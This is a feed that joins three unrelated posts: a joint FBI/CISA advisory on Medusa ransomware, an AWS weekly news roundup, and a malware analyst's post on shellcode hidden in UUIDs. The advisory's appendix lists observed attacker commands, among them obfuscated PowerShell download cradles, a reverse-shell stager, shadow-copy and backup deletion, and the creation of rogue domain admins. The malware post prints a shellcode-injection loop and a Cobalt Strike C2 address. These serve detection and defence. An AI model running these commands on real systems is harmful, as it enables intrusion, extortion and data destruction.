#StopRansomware: Medusa Ransomware

This post was originally published on this site

Summary

Note: This joint Cybersecurity Advisory is part of an ongoing #StopRansomware effort to publish advisories for network defenders detailing various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint advisory to disseminate known Medusa ransomware TTPs and IOCs, identified through FBI investigations as recently as February 2025. 

Medusa is a ransomware-as-a-service (RaaS) variant first identified in June 2021. As of February 2025, Medusa developers and affiliates have impacted over 300 victims from a variety of critical infrastructure sectors with affected industries including medical, education, legal, insurance, technology, and manufacturing. The Medusa ransomware variant is unrelated to the MedusaLocker variant and the Medusa mobile malware variant per the FBI’s investigation.

FBI, CISA, and MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of Medusa ransomware incidents.

Download the PDF version of this report:

For a downloadable list of IOCs, see:

AA25-071A STIX XML
(XML, 34.30 KB
)

AA25-071A STIX JSON
(JSON, 42.28 KB
)

Technical Details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 16. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Background

The RaaS Medusa variant has been used to conduct ransomware attacks from 2021 to present. Medusa originally operated as a closed ransomware variant, meaning all development and associated operations were controlled by the same group of cyber threat actors. While Medusa has since progressed to using an affiliate model, important operations such as ransom negotiation are still centrally controlled by the developers. Both Medusa developers and affiliates—referred to as “Medusa actors” in this advisory—employ a double extortion model, where they encrypt victim data and threaten to publicly release exfiltrated data if a ransom is not paid.

Initial Access

Medusa developers typically recruit initial access brokers (IABs) in cybercriminal forums and marketplaces to obtain initial access [TA0001] to potential victims. Potential payments between $100 USD and $1 million USD are offered to these affiliates with the opportunity to work exclusively for Medusa. Medusa IABs (affiliates) are known to make use of common techniques, such as:

Discovery

Medusa actors use living off the land (LOTL) and legitimate tools Advanced IP Scanner and SoftPerfect Network Scanner for initial user, system, and network enumeration. Once a foothold in a victim network is established, commonly scanned ports include:

  • 21 (FTP)
  • 22 (SSH)
  • 23 (Telnet)
  • 80 (HTTP)
  • 115 (SFTP)
  • 443 (HTTPS)
  • 1433 (SQL database)
  • 3050 (Firebird database)
  • 3128 (HTTP web proxy)
  • 3306 (MySQL database)
  • 3389 (RDP)

Medusa actors primarily use PowerShell [T1059.001] and the Windows Command Prompt (cmd.exe) [T1059.003] for network [T1046] and filesystem enumeration [T1083] and to utilize Ingress Tool Transfer capabilities [T1105]. Medusa actors use Windows Management Instrumentation (WMI) [T1047] for querying system information.

Defense Evasion

Medusa actors use LOTL to avoid detection [TA0005]. (See Appendix A for associated shell commands observed during FBI investigations of Medusa victims.) Certutil (certutil.exe) is used to avoid detection when performing file ingress.

Actors have been observed using several different PowerShell detection evasion techniques with increasing complexity, which are provided below. Additionally, Medusa actors attempt to cover their tracks by deleting the PowerShell command line history [T1070.003].

In this example, Medusa actors use a well-known evasion technique that executes a base64 encrypted command [T1027.013] using specific execution settings.

  • powershell -exec bypass -enc <base64 encrypted command string>

In another example, the DownloadFile string is obfuscated by slicing it into pieces and referencing it via a variable [T1027].

  • powershell -nop -c $x = 'D' + 'Own' + 'LOa' + 'DfI' + 'le'; Invoke-Expression (New-Object Net.WebClient).$x.Invoke(http://<ip>/<RAS tool>.msi)

In the final example, the payload is an obfuscated base64 string read into memory, decompressed from gzip, and used to create a scriptblock. The base64 payload is split using empty strings and concatenation, and uses a format operator (-f) followed by three arguments to specify character replacements in the base64 payload.

  • powershell -nop -w hidden -noni -ep bypass &([scriptblock]::create((
  • New-Object System.IO.StreamReader(
  • New-Object System.IO.Compression.GzipStream((
  • New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(
  • (('<base64 payload string>')-f'<character replacement 0>','<character replacement 1>', '<character replacement 2>')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

The obfuscated base64 PowerShell payload is identical to powerfun.ps1, a publicly available stager script that can create either a reverse or bind shell over TLS to load additional modules. In the bind shell, the script awaits a connection on local port 443 [T1071.001], and initiates a connection to a remote port 443 in the reverse shell.

In some instances, Medusa actors attempted to use vulnerable or signed drivers to kill or delete endpoint detection and response (EDR) tools [T1562.001].

FBI has observed Medusa actors using the following tools to support command and control (C2) and evade detection:

  • Ligolo.
    • A reverse tunneling tool often used to create secure connections between a compromised host and threat actor’s machine.
  • Cloudflared.
    • Formerly known as ArgoTunnel.
    • Used to securely expose applications, services, or servers to the internet via Cloudflare Tunnel without exposing them directly.

Lateral Movement and Execution

Medusa actors use a variety of legitimate remote access software [T1219]; they may tailor their choice based on any remote access tools already present in the victim environment as a means of evading detection. Investigations identified Medusa actors using remote access software AnyDesk, Atera, ConnectWise, eHorus, N-able, PDQ Deploy, PDQ Inventory, SimpleHelp, and Splashtop. Medusa uses these tools—in combination with Remote Desktop Protocol (RDP) [T1021.001] and PsExec [T1569.002]—to move laterally [TA0008] through the network and identify files for exfiltration [TA0010] and encryption [T1486]. When provided with valid username and password credentials, Medusa actors use PsExec to:

  • Copy (-c) one script from various batch scripts on the current machine to the remote machine and execute it with SYSTEM level privileges (-s).
  • Execute an already existing local file on a remote machine with SYSTEM level privileges.
  • Execute remote shell commands using cmd /c.

One of the batch scripts executed by PsExec is openrdp.bat, which first creates a new firewall rule to allow inbound TCP traffic on port 3389:

  • netsh advfirewall firewall add rule name="rdp" dir=in protocol=tcp localport=3389 action=allow

Then, a rule to allow remote WMI connections is created:

  • netsh advfirewall firewall set rule group="windows management instrumentation (wmi)" new enable=yes

Finally, the registry is modified to allow Remote Desktop connections:

  • reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Mimikatz has also been observed in use for Local Security Authority Subsystem Service (LSASS) dumping [T1003.001] to harvest credentials [TA0006] and aid lateral movement.

Exfiltration and Encryption

Medusa actors install and use Rclone to facilitate exfiltration of data to the Medusa C2 servers [T1567.002] used by actors and affiliates. The actors use Sysinternals PsExec, PDQ Deploy, or BigFix [T1072] to deploy the encryptor, gaze.exe, on files across the network—with the actors disabling Windows Defender and other antivirus services on specific targets. Encrypted files have a .medusa file extension. The process gaze.exe terminates all services [T1489] related to backups, security, databases, communication, file sharing and websites, then deletes shadow copies [T1490] and encrypts files with AES-256 before dropping the ransom note. The actors then manually turn off [T1529] and encrypt virtual machines and delete their previously installed tools [T1070].

Extortion

Medusa RaaS employs a double extortion model, where victims must pay [T1657] to decrypt files and prevent further release. The ransom note demands victims make contact within 48 hours via either a Tor browser based live chat, or via Tox, an end-to-end encrypted instant-messaging platform. If the victim does not respond to the ransom note, Medusa actors will reach out to them directly by phone or email. Medusa operates a .onion data leak site, divulging victims alongside countdowns to the release of information. Ransom demands are posted on the site, with direct hyperlinks to Medusa affiliated cryptocurrency wallets. At this stage, Medusa concurrently advertises sale of the data to interested parties before the countdown timer ends. Victims can additionally pay $10,000 USD in cryptocurrency to add a day to the countdown timer.

FBI investigations identified that after paying the ransom, one victim was contacted by a separate Medusa actor who claimed the negotiator had stolen the ransom amount already paid and requested half of the payment be made again to provide the “true decryptor”— potentially indicating a triple extortion scheme.

Indicators of Compromise

Table 1 lists the hashes of malicious files obtained during investigations.

Table 1: Malicious Files
Files Hash (MD5) Description
!!!READ_ME_MEDUSA!!!.txt Redacted Ransom note file
openrdp.bat 44370f5c977e415981febf7dbb87a85c Allows incoming RDP and remote WMI connections
pu.exe 80d852cd199ac923205b61658a9ec5bc Reverse shell

Table 2 includes email addresses used by Medusa actors to extort victims; they are exclusively used for ransom negotiation and contacting victims following compromise. These email addresses are not associated with phishing activity conducted by Medusa actors.

Table 2: Medusa Email Addresses
Email Addresses Description
key.medusa.serviceteam@protonmail.com Used for ransom negotiation
medusa.support@onionmail.org Used for ransom negotiation
mds.svt.breach@protonmail.com Used for ransom negotiation
mds.svt.mir2@protonmail.com Used for ransom negotiation
MedusaSupport@cock.li Used for ransom negotiation

MITRE ATT&CK Tactics and Techniques

See Table 3Table 11 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 3: Initial Access
Technique Title ID Use
Exploit Public-Facing Application T1190 Medusa actors exploited unpatched software or n-day vulnerabilities through common vulnerabilities and exposures.
Initial Access TA0001 Medusa actors recruited initial access brokers (IABS) in cybercriminal forums and marketplaces to obtain initial access.
Phishing T1566 Medusa IABS used phishing campaigns as a primary method for delivering ransomware to victims.
Table 4: Defense Evasion
Technique Title ID Use
Indicator Removal: Clear Command History T1070.003 Medusa actors attempt to cover their tracks by deleting the PowerShell command line history.
Obfuscated Files or Information: Encrypted/Encoded File T1027.013 Medusa actors use a well-known evasion technique that executes a base64 encrypted command.
Obfuscated Files or Information T1027 Medusa actors obfuscated a string by slicing it into pieces and referencing it via a variable.
Indicator Removal T1070 Medusa actors deleted their previous work and tools installed. 
Impair Defenses: Disable or Modify Tools T1562.001 Medusa actors killed or deleted endpoint detection and response tools.
Table 5: Discovery
Technique Title ID Use
Network Service Discovery T1046 Medusa actors utilized living of the land techniques to perform network enumeration.
File and Directory Discovery T1083 Medusa actors utilized Windows Command Prompt for filesystem enumeration.
Network Share Discovery T1135 Medusa actors queried shared drives on the local system to gather sources of information.
System Network Configuration Discovery T1016 Medusa actors used operating system administrative utilities to gather network information.
System Information Discovery T1082 Medusa actors used the command systeminfo to gather detailed system information.
Permission Groups Discovery: Domain Groups T1069.002 Medusa actors attempt to find domain-level group and permission settings.
Table 6: Credential Access
Technique Title ID Use
Credential Access TA0006 Medusa actors harvest credentials with tools like Mimikatz to gain access to systems.
OS Credential Dumping: LSASS Memory T1003.001 Medusa actors were observed accessing credential material stored in process memory or Local Security Authority Subsystem Service (LSASS) using Mimkatz.
Table 7: Lateral Movement and Execution
Technique Title ID Use
Lateral Movement TA0008 Medusa actors performed techniques to move laterally without detection once they gained initial access.
Command and Scripting Interpreter: PowerShell T1059.001 Medusa actors used PowerShell, a powerful interactive command-line interface and scripting environment for ingress, network, and filesystem enumeration.
Command and Scripting Interpreter: Windows Command Shell T1059.003 Medusa actors used Windows Command Prompt—which can be used to control almost any aspect of a system—for ingress, network, and filesystem enumeration. 
Software Deployment Tools T1072 Medusa Actors used PDQ Deploy and BigFix to deploy the encryptor on files across the network.
Remote Services: Remote Desktop Protocol T1021.001 Medusa actors used Remote Desktop Protocol (RDP), a common feature in operating systems, to log into an interactive session with a system and move laterally.
System Services T1569.002 Medusa actors used Sysinternals PsExec to deploy the encryptor on files across the network.
Windows Management Instrumentation T1047 Medusa actors abused Windows Management Instrumentation to query system information.
Table 8: Exfiltration and Encryption
Technique Title  ID Use
Exfiltration TA0010 Medusa actors identified files to exfiltrate out of victim networks.
Exfiltration Over Web Service: Exfiltration to Cloud Storage T1567.002 Medusa actors used Rclone to facilitate exfiltration of data to the Medusa C2 servers.
Table 9: Command and Control
Technique Title ID Use
Ingress Tool Transfer T1105 Medusa actors used PowerShell, Windows Command Prompt, and certutil for file ingress.
Application Layer Protocol: Web Protocols  T1071.001 Medusa actors communicate using application layer protocols associated with web traffic. In this case, Medusa actors used scripts that created reverse or bind shells over port 443: HTTPS.
Remote Access Software T1219 Medusa actors used remote access software to move laterally through the network.
Table 10: Persistence
Technique Title ID Use
Create Account T1136.002 Medusa actors created a domain account to maintain access to victim systems.
Table 11: Impact
Technique Title ID Use
Data Encrypted for Impact T1486 Medusa identified and encrypted data on target systems to interrupt availability to system and network resources.
Inhibit System Recovery T1490 The process gaze.exe terminates all services then deletes shadow copies and encrypts files with AES-256 before dropping the ransom note.
Financial Theft T1657 Victims must pay to decrypt files and prevent further release by Medusa actors.
System Shutdown/Reboot T1529 Medusa actors manually turned off and encrypted virtual machines.
Service Stop T1489 The process gaze.exe terminates all services related to backups, security, databases, communication, file sharing, and websites,

Mitigations

FBI, CISA, and MS-ISAC recommend organizations implement the mitigations below to improve cybersecurity posture based on threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

  • Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, the cloud) [CPG 2.F, 2.R, 2.S].
  • Require all accounts with password logins (e.g., service accounts, admin accounts, and domain admin accounts) to comply with NIST’s standards. In particular, require employees to use long passwords and consider not requiring frequently recurring password changes, as these can weaken security [CPG 2.C].
  • Require multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems [CPG 2.H].
  • Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
  • Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement [CPG 2.F].
  • Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host [CPG 3.A].
  • Require VPNs or Jump Hosts for remote access.
  • Monitor for unauthorized scanning and access attempts.
  • Filter network traffic by preventing unknown or untrusted origins from accessing remote services on internal systems. This prevents threat actors from directly connecting to remote access services that they have established for persistence.
  • Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 2.E].
  • Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 1.A, 2.O].
  • Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally [CPG 2.E, 2.N].
  • Disable unused ports[CPG 2.V].
  • Maintain offline backups of data, and regularly maintain backup and restoration [CPG 2.R]. By instituting this practice, the organization helps ensure they will not be severely interrupted and/or only have irretrievable data.
  • Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K, 2.L, 2.R].

Validate Security Controls

In addition to applying mitigations, the FBI, CISA, and MS-ISAC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The FBI, CISA, and MS-ISAC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

  1. Select an ATT&CK technique described in this advisory (Table 3 to Table 11).
  2. Align your security technologies against the technique.
  3. Test your technologies against the technique.
  4. Analyze your detection and prevention technologies’ performance.
  5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
  6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The FBI, CISA, and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Resources

Reporting

Your organization has no obligation to respond or provide information back to FBI in response to this joint advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.

FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.

The FBI, CISA, and MS-ISAC do not encourage paying ransoms as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI, CISA, and MS-ISAC urge you to promptly report ransomware incidents to FBI’s Internet Crime Complaint Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The FBI, CISA, and MS-ISAC do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI, CISA, and MS-ISAC.

Acknowledgements

ConnectWise contributed to this advisory.

Version History

March 12, 2025: Initial version.

Appendix A: Medusa Commands

These commands explicitly demonstrate the methods used by Medusa threat actors once they obtain a foothold inside a victim network. Incident responders and threat hunters can use this information to detect malicious activity. System administrators can use this information to design allowlist/denylist policies or other protective mechanisms.

cmd.exe /c certutil -f urlcache https://<domain>/<remotefile>.css <localfile>.dll
cmd.exe /c certutil -f urlcache https://<domain>/<remotefile>.msi <localfile>.msi
cmd.exe /c driverquery
cmd.exe /c echo Computer: %COMPUTERNAME% & `
echo Username: %USERNAME% & `
echo Domain: %USERDOMAIN% & `
echo Logon Server: %LOGONSERVER% & `
echo DNS Domain: %USERDNSDOMAIN% & `
echo User Profile: %USERPROFILE% & echo `
System Root: %SYSTEMROOT%
cmd.exe /c ipconfig /all [T1016]
cmd.exe /c net share [T1135]
cmd.exe /c net use
cmd.exe /c netstat -a
cmd.exe /c sc query
cmd.exe /c schtasks
cmd.exe /c systeminfo [T1082]
cmd.exe /c ver
cmd.exe /c wmic printer get caption,name,deviceid,drivername,portname
cmd.exe /c wmic printjob
mmc.exe compmgmt.msc /computer:{hostname/ip}
mstsc.exe /v:{hostname/ip}
mstsc.exe /v:{hostname/ip} /u:{user} /p:{pass}
powershell -exec bypass -enc <base64 encrypted command string>
powershell -nop -c $x = ‘D’ + ‘Own’ + ‘LOa’ + ‘DfI’ + ‘le’; Invoke-Expression (New-Object Net.WebClient).$x.Invoke(http://<ip>/<RMM tool>.msi)

powershell -nop -w hidden -noni -ep bypass &([scriptblock]::create((

New-Object System.IO.StreamReader(

New-Object System.IO.Compression.GzipStream((

New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(

((‘<base64 payload string>’)-f'<character replacement 0>’,

‘<character replacement 1>’,'<character replacement 2>’)))),

[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

powershell Remove-Item (Get-PSReadlineOption).HistorySavePath

powershell Get-ADComputer -Filter * -Property * | Select-Object Name,OperatingSystem,OperatingSystemVersion,Description,LastLogonDate,

logonCount,whenChanged,whenCreated,ipv4Address | Export-CSV -Path <file path> 

-NoTypeInformation -Encoding UTF8

psexec.exe -accepteula -nobanner -s {hostname/ip} “c:windowssystem32taskkill.exe” /f /im WRSA.exe
psexec.exe -accepteula -nobanner -s {hostname/ip} -c coba.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -c openrdp.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -c StopAllProcess.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -c zam.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} c:tempx.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} cmd
psexec.exe -accepteula -nobanner -s {hostname/ip} cmd /c   “c:gaze.exe”
psexec.exe -accepteula -nobanner -s {hostname/ip} cmd /c  “copy ad02sysvolgaze.exe c:gaze.exe
psexec.exe -accepteula -nobanner -s {hostname/ip} cmd /c  “copy ad02sysvolgaze.exe c:gaze.exe && c:gaze.exe”
psexec.exe -accepteula -nobanner -s {hostname/ip} -u {user} -p {pass} -c coba.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -u {user} -p {pass} -c hostname/ipwho.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -u {user} -p {pass} -c openrdp.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -u {user} -p {pass} -c zam.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -u {user} -p {pass} cmd
psexec.exe -accepteula -nobanner -s {hostname/ip} -u {user} -p {pass} -с newuser.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -с duooff.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -с hostname/ipwho.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -с newuser.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -с removesophos.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -с start.bat
psexec.exe -accepteula -nobanner -s {hostname/ip} -с uninstallSophos.bat
nltest /dclist:
net group “domain admins” /domain [T1069.002]
net group “Domain Admins” default /add /domain
net group “Enterprise Admins” default /add /domain
net group “Remote Desktop Users” default /add /domain
net group “Group Policy Creator Owners” default /add /domain
net group “Schema Admins” default /add /domain
net group “domain users” /domain
net user default /active:yes /domain
net user /add default <password> /domain [T1136.002]
query user
reg add HKLMSystemCurrentControlSetControlLsa /v DisableRestrictedAdmin /t REG_DWORD /d 0
systeminfo
vssadmin.exe Delete Shadows /all /quiet
vssadmin.exe resize shadowstorage /for=%s /on=%s /maxsize=unbounded
del /s /f /q %s*.VHD %s*.bac %s*.bak %s*.wbcat %s*.bkf %sBac kup*.* %sbackup*.* %s*.set %s*.win %s*.dsk
netsh advfirewall firewall add rule name=”rdp” dir=in protocol=tcp localport=3389 action=allow
netsh advfirewall firewall set rule group=”windows management instrumentation (wmi)” new enable=yes
reg add “HKLMSYSTEMCurrentControlSetControlTerminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

AWS Weekly Roundup: Amazon Q CLI agent, AWS Step Functions, AWS Lambda, and more (March 10, 2025)

This post was originally published on this site

As the weather improves in the Northern hemisphere, there are more opportunities to learn and connect. This week, I’ll be in San Francisco, and we can meet at the Nova Networking Night at the AWS GenAI Loft where we’ll dive into the world of Amazon Nova foundation models (FMs) with live demos and real-world implementations.

AWS Pi Day is now a yearly tradition. It started in 2021 as a celebration of the 15th anniversary of Amazon S3. This year, there will be in-depth discussions with AWS product teams on how to build a data foundation for a unified seamless experience, managing and using data for analytics and AI workloads. Join us online to learn about the latest innovations through hands-on demos, and ask questions during our interactive livestream.

Last week’s launches
Another busy week, here are the launches that got my attention.

Amazon Q Developer – You can now use an enhanced agent within the Amazon Q command line interface (CLI) to give you more dynamic conversations, help you read and write files locally, query AWS resources, or create code. This enhanced CLI agent is powered by Anthropic’s most intelligent model to date, Claude 3.7 Sonnet. Read more about this agenic coding experience and how to try it out. Here’s a visual demo of the new capabilities of Amazon Q CLI, by Nathan Peck.

Amazon Q Business – Now supports the ingestion of audio and video data. This capability streamlines information retrieval, enhances knowledge sharing, and improves decision-making processes, by making multimedia content as searchable and accessible as text-based documents.

Amazon BedrockBedrock Data Automation is now generally available, so you can automate the generation of valuable insights from unstructured multimodal content such as documents, images, video, and audio files. Learn more and see code examples in my blog post. Amazon Bedrock Knowledge Bases support for GraphRAG is now also generally available. GraphRAG is a capability that enhances Retrieval-Augmented Generation (RAG) by incorporating graph data and delivers more comprehensive, relevant, and explainable responses by leveraging relationships within your data, improving how Generative AI applications retrieve and synthesize information.

Amazon Nova – The Amazon Nova Pro foundation model now supports latency-optimized inference in preview on Amazon Bedrock, enabling faster response times and improved responsiveness for generative AI applications.

AWS Step Functions – Workflow Studio for VS Code is now available, a visual builder you can use to compose workflows on a canvas. You can generate workflow definitions in the background to create workflows in your local development environment. Read more about this enhanced local IDE experience.

AWS Lambda – Now supports Amazon CloudWatch Logs Live Tail in VS Code. We previously introduced support for Live Tail in the Lambda console to simplify how you can view and analyze Lambda logs in real time. Now, you can also monitor Lambda function logs in real time while staying within the VS Code development environment.

AWS Amplify – Now supports HttpOnly cookies for server-rendered Next.js applications when using Amazon Cognito’s managed login. Because cookies with the HttpOnly attribute can’t be accessed by JavaScript, your applications can gain an additional layer of protection against cross-site scripting (XSS) attacks.

Amazon CognitoYou can now customize access tokens for machine-to-machine (M2M) flows, enabling you to implement fine-grained authorization in your applications, APIs, and workloads. M2M authorization is commonly used for automated processes such as scheduled data synchronization tasks, event-driven workflows, microservices communication, or real-time data streaming between systems.

AWS CodeBuild – Now supports builds on Linux x86, Arm, and Windows on-demand fleets directly on the host operating system without containerization. In this way, you can now execute build commands that require direct access to the host system resources or have specific requirements that make containerization challenging. For example, this is useful when building device drivers, running system-level tests, or working with tools that require host machine access. CodeBuild has also added support for Node 22, Python 3.13, and Go 1.23 in Linux x86, Arm, Windows, and macOS platforms.

Bottlerocket – The open source Linux-based operating system purpose-built for containers now supports NVIDIA’s Multi-Instance GPU (MIG) to help partition NVIDIA GPUs into multiple GPU instances on Kubernetes nodes and maximize GPU resource utilization. Bottlerocket now also supports AWS Neuron accelerated instance types and provides a default bootstrap container image that simplifies system setup tasks.

Amazon GameLift – Introducing Amazon GameLift Streams, a new managed capability that developers can use to stream games at up to 1080p resolution and 60 frames per second to any device with a WebRTC-enabled browser. To learn more, explore Donnie’s blog post.

Amazon FSx for NetApp ONTAP – Starting March 5, 2025, the SnapLock licensing fees for data stored in SnapLock volumes has been eliminated, making it more cost-effective.

Other AWS news
Here are some additional projects, blog posts, and news items that you might find interesting:

Accelerate AWS Well-Architected reviews with Generative AI – In this post, we explore a generative AI solution to streamline the Well-Architected Framework Reviews (WAFRs) process. We demonstrate how to build an intelligent, scalable system that analyzes architecture documents and generates insightful recommendations based on best practices.

Architectural diagram

Build a Multi-Agent System with LangGraph and Mistral on AWS – The Multi-Agent City Information System demonstrated in this post exemplifies the potential of agent-based architectures to create sophisticated, adaptable, and highly capable AI applications.

Reference architecture

Evaluate RAG responses with Amazon Bedrock, LlamaIndex and RAGAS – How to enhance your Retrieval Augmented Generation (RAG) implementations with practical techniques to evaluate and optimize your AI systems and enable more accurate, context-aware responses that align with your specific needs.

Architectural diagram

From community.aws
Here are some of my favorite posts from community.aws. Create your AWS Builder ID to start sharing your tips and connect with fellow builders. Your Builder ID is a universal login credential that gives you access, beyond the AWS Management Console, to AWS tools and resources, including over 600 free training courses, community features, and developer tools such as Amazon Q Developer.

Optimize AWS Lambda Costs with Automated Compute Optimizer Insights (Zechariah Kasina) – An automated and scalable method for optimizing AWS Lambda memory configurations to enhance cost efficiency and performance.

Optimize AWS Costs: Auto-Shutdown for EC2 Instances (Adeleke Adebowale Julius) – Using Amazon CloudWatch alarms to dynamically shut down instances based on inactivity.

The Evolution of the Developer Role in an AI-Assisted Future (Aaron Sempf) – While AI is transforming software development, the need for developing talent remains crucial.

Amazon Q Developer CLI – More coffee, less remembering commands (Cobus Bernard) – Now that you can use Amazon Q Developer directly from your terminal to interact with your files, so let’s add some convenience automations.

Upcoming AWS events
Check your calendars and sign up for these upcoming AWS events:

AWS Community Days – Join community-led conferences that feature technical discussions, workshops, and hands-on labs led by expert AWS users and industry leaders from around the world: Milan, Italy (April 2), Bay Area – Security Edition (April 4), Timișoara, Romania (April 10), and Prague, Czech Republic (April 29).

AWS Innovate: Generative AI + Data – Join a free online conference focusing on generative AI and data innovations. Available in multiple geographic regions: North America (March 13), Greater China Region (March 14), and Latin America (April 8).

AWS Summits – The AWS Summit season is coming along! Join free online and in-person events that bring the cloud computing community together to connect, collaborate, and learn about AWS. Register in your nearest city: Paris (April 9), Amsterdam (April 16), London (April 30), and Poland (May 5).

AWS re:Inforce (June 16–18) – Our annual learning event devoted to all things AWS Cloud security. This year is in Philadelphia, PA. Registration opens in March, so be ready to join more than 5,000 security builders and leaders.

AWS DevDays are free, technical events where developers can learn about some of the hottest topics in cloud computing. DevDays offer hands-on workshops, technical sessions, live demos, and networking with AWS technical experts and your peers. Register to access AWS DevDays sessions on demand.

That’s all for this week. Check back next Monday for another Weekly Roundup!

Danilo

This post is part of our Weekly Roundup series. Check back each week for a quick roundup of interesting news and announcements from AWS!

How is the News Blog doing? Take this 1 minute survey!

(This survey is hosted by an external company. AWS handles your information as described in the AWS Privacy Notice. AWS will own the data gathered via this survey and will not share the information collected with survey respondents.)

Shellcode Encoded in UUIDs, (Mon, Mar 10th)

This post was originally published on this site

I returned from another FOR610[1] class last week in London. One key tip I give to my students is to keep an eye on "strange" API calls. In the Windows ecosystem, Microsoft offers tons of API calls to developers. The fact that an API is used in a program does not always mean we are facing malicious code, but sometimes, some of them are derived from their official purpose. One of my hunting rules for malicious scripts is to search for occurrences of the ctypes[2] library. It allows Python to call functions in DLLs or shared libraries.

Example:

import ctypes
new_page = ctypes.windll.kernel32.VirtualAlloc(0, page_size, 4096, 64)

I spotted a malicious Python script that uses the following API call: UuidFromStringA(). This function converts a UUID string to its binary format. 

A UUID (Universally Unique Identifier) is a 128-bit value commonly used in software systems to provide a practically guaranteed unique reference. It is represented as a string of hexadecimal digits often divided into five groups. Because of their structure and generation process (timestamp-based or random), UUIDs have an extremely low chance of collision, making them ideal for identifying objects or records across distributed systems where a central authority to track uniqueness[4] may not exist.

The Python script I found contained an array of UUIDs that, once decoded in raw bytes, was injected in memory as a shellcode:

This technique allows the malware to remain below the radar because the VT score is only 2/61! Its SHA256 is 63733d412c82958055a8125e1499d695aa1e810b3577c6e849a90012c52da929[5].

The code is decoded with a simple loop then injected in memory:

for i in shellcode:
    io = ctypes.windll.Rpcrt4.UuidFromStringA(i, rwxpage1)
    rwxpage1 += 16

This code is a CobaltStrike HTTP x86 shellcode beaconing to: hxxp://182[.]61[.]60[.]141:6666/tFl6.

